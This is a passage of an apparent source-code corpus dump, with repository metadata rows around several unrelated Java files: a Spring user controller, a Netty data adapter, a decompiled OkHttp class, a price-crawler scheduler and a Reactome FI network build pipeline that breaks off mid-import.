public QaBaseTransfer findByAccountOrName(@RequestParam(value="account") String account) {
//创建返回对象
QaBaseTransfer dto = new QaBaseTransfer();
try {
dto = qaUserService.findByAccountOrName(account);
} catch (QaUserException e) {
returnError(e,dto);
}
return dto;
}
/**
* 根据账户或姓名查找用户,分页
* @author huangyue
* @date 2018年5月15日 下午2:58:11
* @param account 账户或姓名
* @param page 当前页
* @param size 每页条目数
* @param isSlice 返回值是否是slice
* false (default): 返回page,包含总页数及总条目数,效率低。
* true: 返回slice,只有数据,没有总页数和总条目数,效率高。
* @return
*/
@GetMapping(path="/findPagedByAccountOrName")
public QaPagedTransfer findPagedByAccountOrName(
@RequestParam(value="account") String account,
@RequestParam(value="page",defaultValue="0") Integer page,
@RequestParam(value="size",defaultValue="10") Integer size,
@RequestParam(value="searchType",defaultValue="account") String searchType){
//创建返回对象
QaPagedTransfer dto = new QaPagedTransfer();
try {
dto = qaUserService.findPagedByAccountOrName(account, page, size, searchType);
} catch (QaUserException e) {
returnError(e,dto);
}
return dto;
}
/**
* 保存传入的对象
* @author huangyue
* @date 2018年5月15日 下午7:53:40
* @param user
* @return
*/
@PostMapping(path="/save")
public QaBaseTransfer save(@RequestParam(value="user") String user){
//创建返回对象
QaBaseTransfer dto = new QaBaseTransfer();
try {
dto = qaUserService.save(user);
} catch (QaUserException e) {
returnError(e,dto);
}
return dto;
}
/**
* 根据id删除对象
* @author huangyue
* @date 2018年5月15日 下午7:53:47
* @param id
* @return
*/
@DeleteMapping(path="/delete/{id}")
public QaBaseTransfer delete(@PathVariable(value="id") Integer id){
//创建返回对象
QaBaseTransfer dto = new QaBaseTransfer();
try {
dto = qaUserService.deleteById(id);
} catch (QaUserException e) {
returnError(e,dto);
}
return dto;
}
/**
* 更新传入的对象
* @author huangyue
* @date 2018年5月15日 下午7:53:54
* @param user
* @return
*/
@PutMapping(path="/update")
public QaBaseTransfer update(@RequestParam(value="user") String user){
//创建返回对象
QaBaseTransfer dto = new QaBaseTransfer();
try {
dto = qaUserService.update(user);
} catch (QaUserException e) {
returnError(e,dto);
}
return dto;
}
}
| 5,167 | 0.703774 | 0.68045 | 196 | 23.061224 | 20.528883 | 91 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.688776 | false | false | 15 |
638b0d49c964c0a41bfd84936297854fb805981c | 13,383,118,156,730 | b7f8f43f7d76f9a430db67f5ab654e4895950ae8 | /SimplTutorial/src/ecologylab/tutorials/rss/RssTranslations.java | 02837955150d7f0eac538c51a12f017e01cc2990 | [] | no_license | AndrewKoons/simplJava | https://github.com/AndrewKoons/simplJava | 299b0866938e1b79143b4810bc57e1f1ad6e2cce | d7a2aa177312eccdfb75a6c978b55a449a78c42f | refs/heads/master | 2020-12-24T13:20:44.013000 | 2013-04-17T23:49:06 | 2013-04-17T23:49:06 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | //RssTranslations.java
package ecologylab.tutorials.rss;
import ecologylab.generic.Debug;
import ecologylab.serialization.SimplTypesScope;
public class RssTranslations extends Debug
{
public static SimplTypesScope get()
{
return SimplTypesScope.get("rss", Rss.class, Channel.class, Item.class);
}
} | UTF-8 | Java | 317 | java | RssTranslations.java | Java | [] | null | [] | //RssTranslations.java
package ecologylab.tutorials.rss;
import ecologylab.generic.Debug;
import ecologylab.serialization.SimplTypesScope;
public class RssTranslations extends Debug
{
public static SimplTypesScope get()
{
return SimplTypesScope.get("rss", Rss.class, Channel.class, Item.class);
}
} | 317 | 0.769716 | 0.769716 | 14 | 21.642857 | 23.181295 | 77 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.5 | false | false | 15 |
f907f67088760da1c644351b4ddd6165cd7300ff | 15,796,889,747,141 | c662a1f1f4660cc644b63f417f0911cee5e8fbfb | /components/netty-demo/src/main/java/io/qkits/walkthough/netty/adapter/DataAdapter.java | 2a4d135a54311e4f3a5ee059a0ece884ac7b2d65 | [] | no_license | qdriven/walkthough-backend | https://github.com/qdriven/walkthough-backend | c10308b4fb1a3524d9c11f313f5c22620e554432 | df9cb95e814e66eb582c319c983154f36f1acf23 | refs/heads/master | 2022-07-08T11:34:39.424000 | 2021-12-11T03:47:08 | 2021-12-11T03:47:08 | 200,501,198 | 0 | 0 | null | false | 2022-06-21T04:16:24 | 2019-08-04T14:14:29 | 2021-12-11T03:47:11 | 2022-06-21T04:16:24 | 56,480 | 0 | 0 | 9 | Java | false | false | package io.qkits.walkthough.netty.adapter;
import java.util.HashMap;
import java.util.Map;
import io.qkits.walkthough.netty.common.DataType;
import io.qkits.walkthough.netty.common.exception.NettyWalkthroughException;
import io.qkits.walkthough.netty.longpolling.api.DataEventRegistry;
import io.qkits.walkthough.netty.longpolling.api.DataFetcher;
import io.qkits.walkthough.netty.longpolling.api.DataFetcherContext;
import io.qkits.walkthough.netty.longpolling.api.DataFetcherFactory;
public class DataAdapter<T> {
private final DataAdapterContext<T> dataContext;
private final DataFetcher dataFetcher;
private final Map<String, DataIncidentEntry<T>> entries = new HashMap<>();
public DataAdapter(DataType dataType, DataParser<T> dataParser) {
this.dataContext = new DataAdapterContext<>(dataType, dataParser);
this.dataFetcher = DataFetcherFactory.newInstance(new DataFetcherContext(dataType));
}
public void register(DataIncidentRegistry<T> registry) throws NettyWalkthroughException {
prepareEntry(registry.getService(), registry.getCluster()).register(registry.getDataIncidentHandler());
}
protected synchronized DataIncidentEntry<T> prepareEntry(String service, String cluster) throws NettyWalkthroughException {
String key = String.format("%s@%s", service, cluster);
DataIncidentEntry<T> entry = entries.get(key);
if (entry == null) {
entry = new DataIncidentEntry<>(dataContext, service, cluster);
dataFetcher.register(new DataEventRegistry(entry, service, cluster));
entries.put(key, entry);
}
return entry;
}
public void stop() {
dataFetcher.stop();
}
}
| UTF-8 | Java | 1,724 | java | DataAdapter.java | Java | [
{
"context": "s NettyWalkthroughException {\n String key = String.format(\"%s@%s\", service, cluster);\n DataIncidentE",
"end": 1316,
"score": 0.6858606338500977,
"start": 1303,
"tag": "KEY",
"value": "String.format"
},
{
"context": "oughException {\n String key = String.format(\"%s@%s\", service, cluster);\n DataIncidentEntry<T> e",
"end": 1325,
"score": 0.895855724811554,
"start": 1318,
"tag": "KEY",
"value": "%s@%s\","
},
{
"context": " String key = String.format(\"%s@%s\", service, cluster);\n DataIncidentEntry<T> entry = en",
"end": 1333,
"score": 0.6782004833221436,
"start": 1333,
"tag": "KEY",
"value": ""
}
] | null | [] | package io.qkits.walkthough.netty.adapter;
import java.util.HashMap;
import java.util.Map;
import io.qkits.walkthough.netty.common.DataType;
import io.qkits.walkthough.netty.common.exception.NettyWalkthroughException;
import io.qkits.walkthough.netty.longpolling.api.DataEventRegistry;
import io.qkits.walkthough.netty.longpolling.api.DataFetcher;
import io.qkits.walkthough.netty.longpolling.api.DataFetcherContext;
import io.qkits.walkthough.netty.longpolling.api.DataFetcherFactory;
public class DataAdapter<T> {
private final DataAdapterContext<T> dataContext;
private final DataFetcher dataFetcher;
private final Map<String, DataIncidentEntry<T>> entries = new HashMap<>();
public DataAdapter(DataType dataType, DataParser<T> dataParser) {
this.dataContext = new DataAdapterContext<>(dataType, dataParser);
this.dataFetcher = DataFetcherFactory.newInstance(new DataFetcherContext(dataType));
}
public void register(DataIncidentRegistry<T> registry) throws NettyWalkthroughException {
prepareEntry(registry.getService(), registry.getCluster()).register(registry.getDataIncidentHandler());
}
protected synchronized DataIncidentEntry<T> prepareEntry(String service, String cluster) throws NettyWalkthroughException {
String key = String.format("%s@%s", service, cluster);
DataIncidentEntry<T> entry = entries.get(key);
if (entry == null) {
entry = new DataIncidentEntry<>(dataContext, service, cluster);
dataFetcher.register(new DataEventRegistry(entry, service, cluster));
entries.put(key, entry);
}
return entry;
}
public void stop() {
dataFetcher.stop();
}
}
| 1,724 | 0.738979 | 0.738979 | 42 | 40.047619 | 34.932556 | 127 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.809524 | false | false | 15 |
fe4ff791ab32e6afe944dbee65930e122b2a68d8 | 30,923,764,586,159 | 27511a2f9b0abe76e3fcef6d70e66647dd15da96 | /src/b/a/e/c.java | 217e024ab72e99109ca0eec47c09d2c1b88d8a41 | [] | no_license | biaolv/com.instagram.android | https://github.com/biaolv/com.instagram.android | 7edde43d5a909ae2563cf104acfc6891f2a39ebe | 3fcd3db2c3823a6d29a31ec0f6abcf5ceca995de | refs/heads/master | 2022-05-09T15:05:05.412000 | 2016-07-21T03:48:36 | 2016-07-21T03:48:36 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package b.a.e;
import b.au;
import b.b.e;
import c.f;
import java.util.concurrent.Executor;
final class c
implements g
{
c(d paramd, e parame, Executor paramExecutor, String paramString) {}
public final void a(int paramInt, String paramString)
{
d.b(d);
b.execute(new b(this, "OkHttp %s WebSocket Close Reply", new Object[] { c }, paramInt, paramString));
}
public final void a(au paramau)
{
a.a(paramau);
}
public final void a(f paramf)
{
b.execute(new a(this, "OkHttp %s WebSocket Pong Reply", new Object[] { c }, paramf));
}
}
/* Location:
* Qualified Name: b.a.e.c
* Java Class Version: 6 (50.0)
* JD-Core Version: 0.7.1
*/ | UTF-8 | Java | 688 | java | c.java | Java | [] | null | [] | package b.a.e;
import b.au;
import b.b.e;
import c.f;
import java.util.concurrent.Executor;
final class c
implements g
{
c(d paramd, e parame, Executor paramExecutor, String paramString) {}
public final void a(int paramInt, String paramString)
{
d.b(d);
b.execute(new b(this, "OkHttp %s WebSocket Close Reply", new Object[] { c }, paramInt, paramString));
}
public final void a(au paramau)
{
a.a(paramau);
}
public final void a(f paramf)
{
b.execute(new a(this, "OkHttp %s WebSocket Pong Reply", new Object[] { c }, paramf));
}
}
/* Location:
* Qualified Name: b.a.e.c
* Java Class Version: 6 (50.0)
* JD-Core Version: 0.7.1
*/ | 688 | 0.633721 | 0.623547 | 34 | 19.264706 | 25.404156 | 105 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.588235 | false | false | 15 |
2418d75bb8f7fbf9b31c5fd4a84ccd57d423ed1d | 2,156,073,612,144 | d247d552580340fe195ac72173946df3b4ee54f5 | /pc-web-crawler-parent/pc-web-crawler/src/main/java/br/com/dickinho/hack/scheduler/PcWebCrawlerScheduler.java | 96389f5939c153de6c361760358a66dbe85d7f0a | [] | no_license | rubovisk/rastro-de-preco | https://github.com/rubovisk/rastro-de-preco | 5938e65004b16eec649d726edce4c682292200dc | cf95896bdf3da322335adb11d7bc20e838bbff3b | refs/heads/master | 2023-02-14T16:07:17.023000 | 2020-12-31T13:03:20 | 2020-12-31T13:03:20 | 325,801,494 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package br.com.dickinho.hack.scheduler;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.scheduling.annotation.Scheduled;
import org.springframework.stereotype.Component;
import br.com.dickinho.hack.service.ComponentService;
import br.com.dickinho.hack.service.VideocardService;
@Component
public class PcWebCrawlerScheduler {
private static final DateTimeFormatter dateTimeFormatter = DateTimeFormatter.ofPattern("dd/MM/yyyy HH:mm:ss");
private static Logger logger = LoggerFactory.getLogger(PcWebCrawlerScheduler.class);
@Autowired
private ComponentService componentService;
//@Scheduled(cron = "0 0 */3 ? * *")
//@Scheduled(fixedDelay=100000, initialDelay=5000)
public void searchPcWebCrawler() {
try {
logger.debug("Processo pc-web-crawler iniciado:: Execution Time - {}", dateTimeFormatter.format(LocalDateTime.now()));
logger.debug("Iniciando busca dos componentes de PC:: Execution Time - {}", dateTimeFormatter.format(LocalDateTime.now()));
componentService.getComponentsCurrentPriceByUrl();
logger.debug("Busca de componentes de PC finalizada:: Execution Time - {}", dateTimeFormatter.format(LocalDateTime.now()));
logger.debug("Processo pc-web-crawler finalizado:: Execution Time - {}", dateTimeFormatter.format(LocalDateTime.now()));
} catch (Exception e) {
logger.error("Infelizmente, houve uma falha no processamento do scheduler:: Erro - {}", e.getMessage());
e.printStackTrace();
}
}
}
| UTF-8 | Java | 1,642 | java | PcWebCrawlerScheduler.java | Java | [] | null | [] | package br.com.dickinho.hack.scheduler;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.scheduling.annotation.Scheduled;
import org.springframework.stereotype.Component;
import br.com.dickinho.hack.service.ComponentService;
import br.com.dickinho.hack.service.VideocardService;
@Component
public class PcWebCrawlerScheduler {
private static final DateTimeFormatter dateTimeFormatter = DateTimeFormatter.ofPattern("dd/MM/yyyy HH:mm:ss");
private static Logger logger = LoggerFactory.getLogger(PcWebCrawlerScheduler.class);
@Autowired
private ComponentService componentService;
//@Scheduled(cron = "0 0 */3 ? * *")
//@Scheduled(fixedDelay=100000, initialDelay=5000)
public void searchPcWebCrawler() {
try {
logger.debug("Processo pc-web-crawler iniciado:: Execution Time - {}", dateTimeFormatter.format(LocalDateTime.now()));
logger.debug("Iniciando busca dos componentes de PC:: Execution Time - {}", dateTimeFormatter.format(LocalDateTime.now()));
componentService.getComponentsCurrentPriceByUrl();
logger.debug("Busca de componentes de PC finalizada:: Execution Time - {}", dateTimeFormatter.format(LocalDateTime.now()));
logger.debug("Processo pc-web-crawler finalizado:: Execution Time - {}", dateTimeFormatter.format(LocalDateTime.now()));
} catch (Exception e) {
logger.error("Infelizmente, houve uma falha no processamento do scheduler:: Erro - {}", e.getMessage());
e.printStackTrace();
}
}
}
| 1,642 | 0.76553 | 0.756395 | 37 | 43.351353 | 40.174091 | 127 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 2.162162 | false | false | 15 |
e95b1ea7dc8c24dfb3e63b05ee2616b27d0ee54b | 7,138,235,650,119 | c228aae752ac460fc190fe1fad4c154ad28827a7 | /src/org/reactome/fi/FINetworkBuilder.java | 640524d2ae41967db91434030074ea1c44ad365a | [] | no_license | reactome/fi_network_build | https://github.com/reactome/fi_network_build | 0d8c1140c0f02102a06ccde599c612e3850ccf0f | 281912824b5ae40c29b2547172a5cb436a3635f3 | refs/heads/master | 2022-10-04T19:23:13.207000 | 2022-09-26T17:36:38 | 2022-09-26T17:36:38 | 162,507,712 | 2 | 1 | null | null | null | null | null | null | null | null | null | null | null | null | null | /*
* Created on Mar 20, 2012
*
*/
package org.reactome.fi;
import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import org.apache.log4j.Logger;
import org.apache.log4j.PropertyConfigurator;
import org.junit.Test;
import org.reactome.b2rPostProcessor.NciPIDConverterRunner;
import org.reactome.data.EncodeTFTargetToReactomeConverter;
import org.reactome.data.EnsemblAnalyzer;
import org.reactome.data.GODataAnalyzerV2;
import org.reactome.data.GOTermLoader;
import org.reactome.data.IRefIndexMITTabAnalyzer;
import org.reactome.data.MicroarrayDataAnalyzer;
import org.reactome.data.PfamAnalyzer;
import org.reactome.data.ReactomeAnalyzer;
import org.reactome.data.UniProtAnalyzer;
import org.reactome.fi.util.FIConfiguration;
import org.reactome.hibernate.HibernateFIReader;
import org.reactome.kegg.KeggToReactomeConverter;
import org.reactome.panther.PantherToReactomeConverterTest;
import org.reactome.psi.data.PsiMiOrthologyAnalyzer;
import org.reactome.tred.TREDToReactomeConverter;
/**
* This class groups a list of methods that should be run for building a new version of FI network.
* Here is the sequence to run these methods:
* 1). prepareMappingFiles()
* 2). convertPathwayDBs()
* 3). dumpPathwayDBs()
* 4). prepareNBCFeatures()
* 5). trainNBC()
* 6). predictFIs()
* 7). buildFIDb()
* 8). generateCytoscapePlugInFiles()
* 9). compareFilesToPreviousVersion()
* @author gwu
*
*/
public class FINetworkBuilder {
private static Logger logger = Logger.getLogger(FINetworkBuilder.class);
public FINetworkBuilder() {
PropertyConfigurator.configure("resources/log4j.properties");
}
/**
* Running this method to prepare several files that are used to do mapping.
* This method should be run first.
* @throws Exception
*/
@Test
public void prepareMappingFiles() throws Exception {
UniProtAnalyzer uniProtAnalyzer = new UniProtAnalyzer();
logger.info("Running UniProtAnalyzer.generateUniProtIDsMap()...");
uniProtAnalyzer.generateUniProtIDsMap();
logger.info("Running UniProtAnalyzer.generateEntrezGeneToUniProt()...");
uniProtAnalyzer.generateEntrezGeneToUniProt();
logger.info("Running UniProtAnalyzer.generateUniToPfamMap()...");
uniProtAnalyzer.generateUniToPfamMap();
// For GO annotation. As of 2016, go.obo is downloaded and terms_and_ids.txt
// should be generated before other procedures.
GOTermLoader loader = new GOTermLoader();
logger.info("Generating GO.terms_and_ids.txt from go.obo...");
loader.generateGOTermsToIdsFromObo();
}
/**
* Convert non-Reactome pathway databases into a local Reactome curator tool
* projects before dumping into the merged database.
* @throws Exception
*/
@Test
public void convertPathwayDBs() throws Exception {
KeggToReactomeConverter keggConverter = new KeggToReactomeConverter();
logger.info("Running KeggToReactomeConverter.runBatchConver()...");
keggConverter.runBatchConvert();
NciPIDConverterRunner nciPidConverter = new NciPIDConverterRunner();
logger.info("Running NciPIDConverrerRunner.runConvertOfCurated()...");
nciPidConverter.runConvertOfCurated();
logger.info("Running NciPIDConverterRunner.runConvertOfBiocarta()...");
nciPidConverter.runConvertOfBioCarta();
TREDToReactomeConverter tredConverter = new TREDToReactomeConverter();
logger.info("Running TREDToReactomeConverter.doConvert()...");
tredConverter.doConvert();
// Gene expressions have been used as support evidences for TF/Target interactions
// from ENCODE. So have to call these methods first in order to get co-expression
// values
// These two methods will be called again in method prepareNBCFeatures(). The results
// should be the same!
MicroarrayDataAnalyzer microarrayAnalyzer = new MicroarrayDataAnalyzer();
logger.info("Running MicroarrayDataAnalyzer.normalizeLeeGeneExp()...");
microarrayAnalyzer.normalizeLeeGeneExp();
logger.info("Running MicroarrayDataAnalyzer.generatePrietoCarlosGeneExpFile()...");
microarrayAnalyzer.generatePrietoCarlosGeneExpFile();
logger.info("Running EncodeTFTargetToReactomeConverter.convert()...");
new EncodeTFTargetToReactomeConverter().convert();
PantherToReactomeConverterTest pantherConverter = new PantherToReactomeConverterTest();
logger.info("Running PantherToReactomeConverterTest.testNewBatchConverter()...");
pantherConverter.testNewBatchConverter();
// Check protein coverage
// Some files have not be generated in the following call. This method should not be called.
ProteinAndInteractionCount count = new ProteinAndInteractionCount();
logger.info("Count proteins...");
count.checkUniProtNumbersInConvertedDBs();
}
/**
* Dump converted pathways from other databases into the extended Reactome database.
* Before running method, try to take a look at the converted projects to make sure
* nothing weird there.
* @throws Exception
*/
@Test
public void dumpPathwayDBs() throws Exception {
ConvertedPathwayDbDumper dumper = new ConvertedPathwayDbDumper();
logger.info("Running ConvertedPathwayDbDumper.dumpPathwayDBs()...");
dumper.dump();
}
/**
* Extract Pathway FIs from Reactome and other imported pathway dbs, and dump
* them into a local file. Before running this method, make sure you have set
* dataSourceIds correctly in method ReactomeAnalyzer.getPathwayDBAnalyzers().
* @throws Exception
*/
@Test
public void dumpPathwayFIs() throws Exception {
logger.info("Running FIFileAnalyzer.dumpPathwayFIs()...");
FIFileAnalyzer fiFileAnalyzer = new FIFileAnalyzer();
fiFileAnalyzer.dumpPathwayFIs();
}
/**
* Run this method to prepare features for NBC training.
* @throws Exception
*/
@Test
public void prepareNBCFeatures() throws Exception {
// The following statements are used for PPI based features
EnsemblAnalyzer ensemblAnalyzer = new EnsemblAnalyzer();
logger.info("Running EnsemblAnalyzer.dumpProteinFamilies()...");
ensemblAnalyzer.dumpProteinFamilies();
// Extract PPIs from PSITAB files
IRefIndexMITTabAnalyzer iRefIndexAnalyzer = new IRefIndexMITTabAnalyzer();
logger.info("Running IRefIndexMITTabAnalyzer.loadHumanPPIs()...");
iRefIndexAnalyzer.loadHumanPPIs();
logger.info("Running IRefIndexMITTabAnalyzer.loadFlyPPIs()...");
iRefIndexAnalyzer.loadFlyPPIs();
logger.info("Running IRefIndexMITTabAnalyzer.loadWormPPIs()...");
iRefIndexAnalyzer.loadWormPPIs();
logger.info("Running IRefIndexMITTabAnalyzer.loadYeastPPIs()...");
iRefIndexAnalyzer.loadYeastPPIs();
logger.info("Running IRefIndexMITTabAnalyzer.loadMousePPIs()...");
iRefIndexAnalyzer.loadMousePPIs();
// Map PPIs in other species to human PPIs via ensembl compara
PsiMiOrthologyAnalyzer psimiAnalyzer = new PsiMiOrthologyAnalyzer();
logger.info("Running PsiMiOrthologyAnalyzer.generateHumanPPIsFromYeastInUniProt()...");
psimiAnalyzer.generateHumanPPIsFromYeastInUniProt();
logger.info("Running PsiMiOrthologyAnalyzer.generateHumanPPIsFromWormInUniProt()...");
psimiAnalyzer.generateHumanPPIsFromWormInUniProt();
logger.info("Running PsiMiOrthologyAnalyzer.generateHumanPPIsFromFlyInUniProt()...");
psimiAnalyzer.generateHumanPPIsFromFlyInUniProt();
logger.info("Running PsiMiOrthologyAnalyzer.generateHumanPPIsFromMouseInUniProt()...");
psimiAnalyzer.generateHumanPPIsFromMouseInUniProt();
// Check PPIs' odds ratioes
logger.info("Checking odds ratio...");
psimiAnalyzer.testPPIsFeatures();
// The following statements are used for gene expression based features: two
// data sets have been used here.
MicroarrayDataAnalyzer microarrayAnalyzer = new MicroarrayDataAnalyzer();
logger.info("Running MicroarrayDataAnalyzer.normalizeLeeGeneExp()...");
microarrayAnalyzer.normalizeLeeGeneExp();
logger.info("Checking its odds ratio...");
microarrayAnalyzer.checkCoExpFromPavlidis();
logger.info("Running MicroarrayDataAnalyzer.generatePrietoCarlosGeneExpFile()...");
microarrayAnalyzer.generatePrietoCarlosGeneExpFile();
logger.info("Check its odds ratio...");
microarrayAnalyzer.checkCoExpFromPrietoCarlos();
// Domain-domain interactions
PfamAnalyzer pfamAnalyzer = new PfamAnalyzer();
logger.info("Running PfamAnalyzer.convertIntToPfamIDs()...");
pfamAnalyzer.convertIntToPfamIDs();
logger.info("Checking its odds ratio...");
pfamAnalyzer.testPfamFeature();
// Nothing needs to be generated. But we want to check GO features
GODataAnalyzerV2 goAnalyzer = new GODataAnalyzerV2();
logger.info("Checking GO features...");
goAnalyzer.testGOFeatures();
}
/**
* Train NBC, create data for ROC curve, check protein coverge and generate
* a predicted FI file. The data file generated from calcualteROCPoints() should
* be used in R for generating ROC curve and calculate AUC.
* @throws Exception
*/
@Test
public void trainNBC() throws Exception {
NBCAnalyzer nbcAnalyzer = new NBCAnalyzer();
logger.info("Running NBCAnalyzer.calculateNBCBasedOnReactome()...");
nbcAnalyzer.calculateNBCBasedOnReactome();
logger.info("Running NBCAnalyzer.calculateROCPoints()...");
nbcAnalyzer.calculateROCPoints();
// Generate protein pairs having domain-domain interactions
logger.info("Running NBCAnalyzer.checkSharedBPPairAndDomainPairs()...");
nbcAnalyzer.checkSharedBPPairAndDomainPair();
logger.info("Running checkCutoffValueForPredictedFIs()...");
nbcAnalyzer.checkCutoffValueForPredictedFIs();
// At this stage, NBCGUITest() should be run to check contributions of each
// feature and see if anything is weird!
// This method should be run separately
// NBCGUITest.main()
}
/**
* After investigating the results from method trainNBC(), choose an appropriate
* cutoff value, and set in the configuration file: results/configuration.prop.
* Usually 0.50 or above should be chosen unless you have a strong reason not so.
* @throws Exception
*/
@Test
public void predictFIs() throws Exception {
NBCAnalyzer nbcAnalyzer = new NBCAnalyzer();
logger.info("Running NBCAnalyzer.generatePredictedFIs()...");
nbcAnalyzer.generatePredictedFIs();
}
/**
* Generate a hibernate based FI database and dump FIs in gene names into
* files.
* @throws Exception
*/
@Test
public void buildFIDb() throws Exception {
// Need to generate database schema first. To do there, an
// empty database should be available first.
FIDBBuilder dbBuilder = new FIDBBuilder();
logger.info("Running FIDBBuilder.generateSchema()...");
dbBuilder.generateSchema();
// Dump extracted pathway FIs into the database
logger.info("Running FIDBBuilder.dump()...");
dbBuilder.dump();
// Dump predicted FIs into the database
logger.info("Running FIDBBuilder.dumpPredicted()...");
dbBuilder.dumpPredictedFIs();
}
/**
* Use this method to generate a list of static files to be used by Cytoscape plug-in.
* @throws Exception
*/
@Test
public void generateCytoscapePlugInFiles() throws Exception {
// These two files are used for reaction-based enrichment analysis
ReactomeAnalyzer reactomeAnalyzer = new ReactomeAnalyzer();
logger.info("Running ReactomeAnalyzer.generateGenesToReactionsMap()...");
reactomeAnalyzer.generateGenesToReactionsMap();
logger.info("Running ReactomeAnalyzer.generateFIsToReactionsMap()...");
reactomeAnalyzer.generateFIsToReactionsMap();
// if (true)
// return;
// Generate a file containing FIs in gene names so that it can be used in
// plug-in and data analysis
HibernateFIReader hibernateReader = new HibernateFIReader();
logger.info("Running HibernateFIReader.generateFIFileInGeneInHiberante()...");
hibernateReader.generateFIFileInGeneInHibernate();
// if (true)
// return;
// Create a map from pathway fis to their original sources
logger.info("Running HibernateFIReader.generateFIInGeneSourceFile()...");
hibernateReader.generateFIInGeneSourceFile();
// Generate the largest graph component
FIGraphAnalyzer graphAnalyzer = new FIGraphAnalyzer();
logger.info("Running FIGraphAnalyzer.analyzeComponents()...");
graphAnalyzer.analyzeComponents();
// Mapping from protein accessions to names
// This file is not used here right now. But it is used in the plug-in.
logger.info("Running HiberanteFIReader.generateAccessionToProteinNameMap()...");
hibernateReader.generateAccessionToProteinNameMap();
PathwayGeneSetGenerator genesetGenerator = new PathwayGeneSetGenerator();
logger.info("Running PathwayGeneSetGenerator.generateReactomePathwayListBasedOnDiagrams()...");
// Generate a flattened list of pathways from the Reactome database. Each Reactome pathway should have
// an associated pathway diagram fully laid-out.
genesetGenerator.generateReactomePathwayListBasedOnDiagrams();
// Generate Pathways to Genes mappings for enrichment analysis
logger.info("Running PathwayGeneSetGenerator.generateProteinNameToPathwayMap()...");
genesetGenerator.generateProteinNameToPathwayMap();
// Generate a list of all pathways in the Reactome database. This list of pathways is used for
// pathway enrichment analysis in a hierarchical way (aka not based on flatenned list)
// Generate GMT file for GSEA analysis
genesetGenerator.generateHumanFiles();
// For mouse files
genesetGenerator.generateMouseFiles();
// Dump MySQL databases to MyISAM types so that they can be loaded into the deployment machine
// or be backed up
MySQLDatabaseHandler dbHandler = new MySQLDatabaseHandler();
dbHandler.dumpDatabases();
// Copy files needed by the plug-in web application
CytoscapePlugInFileHandler fileHandler = new CytoscapePlugInFileHandler();
fileHandler.generatePlugInFiles();
// The following statements are used to generate the matrix file for the biggest FI network component.
// The generated matrix should be moved to the OICR to calculate the heat kernel for the HotNet implementation
// using R (using script runHeatKernel_R.sh, which should be modified for the correct file names).
// The generated matrix text file should NOT be copied into the WEB-INF folder.
// HotNetMatrixCalculator hotnetMatrixCalculator = new HotNetMatrixCalculator();
// hotnetMatrixCalculator.testCalculateHeatKernel();
// The following method should be called after the kernel file was generated from using R
// HotNetMatrixCalculator hotnetMatrixCalculator = new HotNetMatrixCalculator();
// hotnetMatrixCalculator.generateSerializedMatrixFile();
// Generate factor graphs for pathway diagrams to be used by the Cytoscape app
// Consider running this with its own step to avoid a long logging.
FactorGraphDumper fgDumper = new FactorGraphDumper();
fgDumper.dump();
// Don't forget to generate FIsInGene_xxxxxx_with_annotations.txt file by using
// the method in the fiviz_corews project:
// The method should be run is in class org.reactome.r3.fi.InteractionAnnotator.annotateAllFIs()
// in project FIVizWS_corews. This should be moved to here in the future.
// logger.info("Running InteractionAnnotator.annotateAllFIs()...");
// InteractionAnnotator annotator = new InteractionAnnotator();
// annotator.annoateAllFIs();
}
/**
* This method is used to generate a comparison file to compare files
* generated for this version to a previous version. The results are better
* to be viewed in Excel, and copied to the combined_logging.txt file.
* @throws IOException
*/
@Test
public void compareFilesToPreviousVersion() throws IOException {
FIConfiguration config = FIConfiguration.getConfiguration();
String year = config.get("YEAR");
String preYear = (new Integer(year) - 1) + "";
File dir = new File(config.get("RESULT_DIR"));
Map<String, File> nameToFile = getNameToFile(dir);
// After migrating to git. For 2017 only.
// String preDirName = "/Users/wug/Documents/eclipse_workspace/FINetworkBuild_CVS/results/";
// File preDir = new File(preDirName + preYear);
File preDir = new File("results/" + preYear);
Map<String, File> preNameToFile = getNameToFile(preDir);
Set<String> allNames = new HashSet<String>(nameToFile.keySet());
allNames.addAll(preNameToFile.keySet());
List<String> nameList = new ArrayList<String>(allNames);
Collections.sort(nameList);
// Just print out files in the system out for easy view
System.out.println("\t" + year + "\t" + preYear);
for (String name : nameList) {
if (name.startsWith("."))
continue; // Don't show hidden file
File file = nameToFile.get(name);
File preFile = preNameToFile.get(name);
System.out.println(name + "\t" +
(file == null ? "NA" : file.length()) + "\t" +
(preFile == null ? "NA" : preFile.length()));
}
}
private Map<String, File> getNameToFile(File dir) {
Map<String, File> nameToFile = new HashMap<String, File>();
File[] files = dir.listFiles();
for (File file : files)
nameToFile.put(file.getName(), file);
return nameToFile;
}
}
| UTF-8 | Java | 18,796 | java | FINetworkBuilder.java | Java | [
{
"context": "\n * 9). compareFilesToPreviousVersion()\n * @author gwu\n *\n */\npublic class FINetworkBuilder {\n privat",
"end": 1572,
"score": 0.9989251494407654,
"start": 1569,
"tag": "USERNAME",
"value": "gwu"
},
{
"context": " 2017 only.\n// String preDirName = \"/Users/wug/Documents/eclipse_workspace/FINetworkBuild_CVS/re",
"end": 17471,
"score": 0.9989442825317383,
"start": 17468,
"tag": "USERNAME",
"value": "wug"
}
] | null | [] | /*
* Created on Mar 20, 2012
*
*/
package org.reactome.fi;
import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import org.apache.log4j.Logger;
import org.apache.log4j.PropertyConfigurator;
import org.junit.Test;
import org.reactome.b2rPostProcessor.NciPIDConverterRunner;
import org.reactome.data.EncodeTFTargetToReactomeConverter;
